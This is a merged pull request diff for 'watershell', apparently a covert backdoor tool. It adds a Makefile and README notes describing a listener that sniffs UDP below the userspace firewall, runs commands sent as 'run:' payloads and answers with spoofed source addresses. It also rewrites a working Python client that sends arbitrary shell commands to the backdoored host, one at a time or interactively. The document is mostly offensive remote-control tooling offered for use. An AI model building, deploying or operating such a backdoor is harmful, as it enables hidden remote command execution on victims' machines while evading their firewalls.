Merge pull request #1 from Burrch3s/general-improvments

General improvments

Makefile

@@ -0,0 +1,8 @@
+# Small makefile to make compiling watershell easier to do
+# TODO implement C and Linker FLAGS if desired
+
+watershell:
+	gcc watershell.c -o $@
+
+clean:
+	rm watershell *.o

README.md

@@ -15,5 +15,17 @@ Configuring
 You can hard code values at the top of watershell.c or you can use command line arguments when you launch it. There are three options:
 - PORT: this defines the port to check for, -p flag, default 12345
 - PROMISC: whether to sniff all traffic or not, -p flag, default false
+- DEBUG: verbose logging output to display to the user running the binary
 
 If promiscuous mode is on any traffic that goes over the network that is UDP and matches the spectfied port will trigger the program, for example sending UDP traffic with a payload of run:reboot to 8.8.8.8 will reboot the listening machine if it is on the same network as the originator. This is useful if you don't want to make direct contact with the machine but still want to send it commands. The status reply will have a spoofed source of the destination host you specified.
+
+Compiling
+---------
+Compile by hand or use the Makefile.
+```
+gcc watershell.c -o watershell
+# OR
+make
+# OR
+make watershell
+```

watershell-cli.py

@@ -1,58 +1,131 @@
-import socket, time, sys
+#!/usr/bin/env python3
 
+"""
+Watershell client; a script to easily send commands over UDP to a host running
+the watershell listening binary. The watershell will be listening for UDP data
+on a lower level of the network stack to bypass userspace firewall rules.
+"""
 
-def recv_timeout(the_socket,timeout=2):
-    #make socket non blocking
+import argparse
+import socket
+import time
+import sys
+
+def recv_timeout(the_socket, timeout=4):
+    """
+    Attempt to listen for data until the specified timeout is reached.
+
+    Returns:
+        str - Data received over socket
+    """
+    # make socket non blocking
     the_socket.setblocking(0)
 
-    #total data partwise in an array
-    total_data=[];
-    data='';
+    # total data partwise in an array
+    total_data = []
+    data = ''
 
-    #beginning time
-    begin=time.time()
-    while 1:
-        #if you got some data, then break after timeout
+    # beginning time
+    begin = time.time()
+    while True:
+        # if you got some data, then break after timeout
         if total_data and time.time()-begin > timeout:
             break
 
-        #if you got no data at all, wait a little longer, twice the timeout
-        elif time.time()-begin > timeout*2:
+        # if weve waited longer than the timeout, break
+        elif time.time()-begin > timeout:
             break
 
-        #recv something
+        # recv something
         try:
             data = the_socket.recv(8192)
             if data:
                 total_data.append(data.decode())
-                #change the beginning time for measurement
-                begin=time.time()
+                # change the beginning time for measurement
+                begin = time.time()
             else:
-                #sleep for sometime to indicate a gap
+                # sleep for sometime to indicate a gap
                 time.sleep(0.1)
-        except:
+        except BaseException as exc:
             pass
 
-    #join all parts to make final string
+    # join all parts to make final string
     return ''.join(total_data)
 
-if __name__ == '__main__':
-    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
-    s.bind(("", 53316))
-    box = (sys.argv[1], int(sys.argv[2]))
-    print("Connecting to Watershell on {}...".format(box))
-    s.sendto(b'status:', box)
-    resp = recv_timeout(s, 1)
-    if resp == "up":
-        print("Connected!")
-    else:
-        print("Connection Failed...")
-        sys.exit(1)
+def declare_args():
+    """
+    Function to declare arguments that are acceptable to watershel-cli.py
+    """
+    parser = argparse.ArgumentParser(
+        description="Watershell client to send command to host with watershell listening over UDP.")
+    parser.add_argument(
+        '-t', '--target',
+        dest='target',
+        type=str,
+        required=True,
+        help="IP of the target to send UDP message to.")
+
+    parser.add_argument(
+        '-p', '--port',
+        dest='port',
+        type=int,
+        default=52,
+        help="Port to send UDP message to.")
+    parser.add_argument(
+        '-c', '--command',
+        dest='command',
+        type=str,
+        help="One off command to send to listening watershell target")
+    parser.add_argument(
+        '-i', '--interactive',
+        dest='interactive',
+        action='store_true',
+        default=False,
+        help="Interactively send commands to watershell target")
+
+    return parser
+
+def execute_cmd_prompt(sock, target):
+    """
+    Interactively prompt user for commands and execute them
+    """
     while True:
         cmd = input("//\\\\watershell//\\\\>> ")
         if cmd == 'exit':
             break
         if len(cmd) > 1:
-            s.sendto(("run:"+cmd).encode(), box)
-            resp = recv_timeout(s, 2)
+            sock.sendto(("run:"+cmd).encode(), target)
+            resp = recv_timeout(sock, 4)
             print(resp)
+
+def main():
+    """
+    Entry point to watershell-cli.py. Parse arguments supplied by user,
+    grab the status of the watershell target and then issue commands.
+    """
+    args = declare_args().parse_args()
+
+    # Bind source port to send UDP message from
+    s_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+    s_socket.bind(("0.0.0.0", 53316))
+
+    target = (args.target, args.port)
+    print("Connecting to Watershell on {}...".format(target))
+    s_socket.sendto(b'status:', target)
+
+    resp = recv_timeout(s_socket, 2)
+    if resp == "up":
+        print("Connected!")
+    else:
+        print("Connection Failed...")
+        sys.exit(1)
+
+    if args.interactive:
+        execute_cmd_prompt(s_socket, target)
+    else:
+        s_socket.sendto(("run:{}".format(args.command)).encode(), target)
+        resp = recv_timeout(s_socket, 4)
+        print(resp)
+
+if __name__ == '__main__':
+    main()